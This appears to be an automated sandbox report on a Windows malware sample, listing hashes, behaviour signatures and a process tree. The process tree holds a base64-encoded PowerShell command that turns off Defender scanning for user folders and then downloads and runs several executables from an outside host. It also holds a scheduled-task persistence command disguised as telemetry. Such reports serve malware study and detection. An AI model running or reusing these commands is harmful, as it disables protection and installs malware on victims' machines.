Analysis
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max time kernel
111s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
30/01/2023, 19:07
Static task
static1
Behavioral task
behavioral1
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
Resource
win10v2004-20221111-en
General
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Target
b405694fbedc3ed57f486a0bd892fb48b2917d49.exe
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Size
360KB
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MD5
9c0c75bb31dfa46b2c91c12693bf45dd
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SHA1
b405694fbedc3ed57f486a0bd892fb48b2917d49
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SHA256
c332e200a4050d2b0e7cb33ddbed8e8cd6caff60653cb30a1f76bec08031cbbe
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SHA512
cc666cfd32f070b859bdfcb5391fe160a7456c00426e806736a459044205558a579d45092eedaf31a90a90ccd0957948bccce248bbc5cdcef7f5885f44e37b44
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SSDEEP
6144:FUzcknZ/qA5koqdrF7ENQ8zxT8iz5ZhHS7gVFy6d3bBum+WOmekGAOIA40e8aHc:FUwg/qA5Zz28zxT8yZZSUVFV14kG+0e2
Malware Config
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 5 1288 powershell.exe 28 1288 powershell.exe 36 1288 powershell.exe 47 1288 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
pid Process 4892 SysApp.exe -
Uses the VBS compiler for execution 1 TTPs
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 764 set thread context of 3492 764 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 81 -
Program crash 1 IoCs
pid pid_target Process procid_target 4912 764 WerFault.exe 79 -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 3820 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
pid Process 1288 powershell.exe 1288 powershell.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe 4892 SysApp.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1288 powershell.exe -
Suspicious use of WriteProcessMemory 14 IoCs
description pid Process procid_target PID 764 wrote to memory of 3492 764 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 81 PID 764 wrote to memory of 3492 764 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 81 PID 764 wrote to memory of 3492 764 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 81 PID 764 wrote to memory of 3492 764 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 81 PID 764 wrote to memory of 3492 764 b405694fbedc3ed57f486a0bd892fb48b2917d49.exe 81 PID 3492 wrote to memory of 1288 3492 vbc.exe 84 PID 3492 wrote to memory of 1288 3492 vbc.exe 84 PID 3492 wrote to memory of 1288 3492 vbc.exe 84 PID 1288 wrote to memory of 4892 1288 powershell.exe 93 PID 1288 wrote to memory of 4892 1288 powershell.exe 93 PID 1288 wrote to memory of 4892 1288 powershell.exe 93 PID 4892 wrote to memory of 3820 4892 SysApp.exe 94 PID 4892 wrote to memory of 3820 4892 SysApp.exe 94 PID 4892 wrote to memory of 3820 4892 SysApp.exe 94
Processes
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C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"C:\Users\Admin\AppData\Local\Temp\b405694fbedc3ed57f486a0bd892fb48b2917d49.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAG4AYwBjACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAeAB5AHEAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAdQB0AGMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgBlAGsAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGwAbQBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcgBoAHMAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdAB2AGQAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBiAGMAagAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYwBvAG4AbgBlAGMAdAAyAG0AZQAuAGgAbwBwAHQAbwAuAG8AcgBnAC8AdwBvAHcALwAxAC8AMgAvADMALwA0AC8ANQAvADYALwA3AC8AQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwAsACAAPAAjAHMAbQBpACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAeAB5AGYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdABqAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApACkAPAAjAHIAegB1ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACwAIAA8ACMAdAB1AGwAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAGwAbgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB0AGQAawAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAKQA8ACMAcAB4AHgAIwA+ADsAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAeQBzAEEAcABwAC4AZQB4AGUAJwAsACAAPAAjAGQAawBjACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQBkAGQAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAdwB5AHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwB5AHMAQQBwAHAALgBlAHgAZQAnACkAKQA8ACMAZgBmAHgAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYwBuAHEAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHkAdwBwACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAG4AZQB3ADIALgBlAHgAZQAnACkAPAAjAHcAaABrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAagB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBhAHgAagAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBDADQATABvAGEAZABlAHIALgBlAHgAZQAnACkAPAAjAHIAawBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAdQB6ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBnAHUAaQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAG0AYQByAHQARABlAGYAUgB1AG4ALgBlAHgAZQAnACkAPAAjAG0AegBrACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAGEAegB0ACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwB3AHUAbAAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBTAHkAcwBBAHAAcAAuAGUAeABlACcAKQA8ACMAcwBhAGcAIwA+AA=="3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1288 -
C:\Users\Admin\AppData\Local\Temp\SysApp.exe"C:\Users\Admin\AppData\Local\Temp\SysApp.exe"4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4892 -
C:\Windows\SysWOW64\schtasks.exe/C /create /F /sc minute /mo 1 /tn "Telemetry Logging" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\TelemetryServices\fodhelper.exe"5⤵
- Creates scheduled task(s)
PID:3820
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 764 -s 2682⤵
- Program crash
PID:4912
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 764 -ip 7641⤵PID:2032
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5
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Filesize
1.4MB
MD5b6bbab9f72c88d07b484cc339c475e75
SHA1f06141cedf2aac3cfac6c997d99c00d8e7c5b4c1
SHA256dd47342f809e86e447b68827dd3a1e72ea0795b71976ecd6fa242013b767b14f
SHA5121ee084d4283b7359b5f261337e744adecc6a1e26a18b4d2412e6f53d2b602b5e8538112065d27a536776dedadfd0ec8a276aa977389f21f4491539753a0b9fa5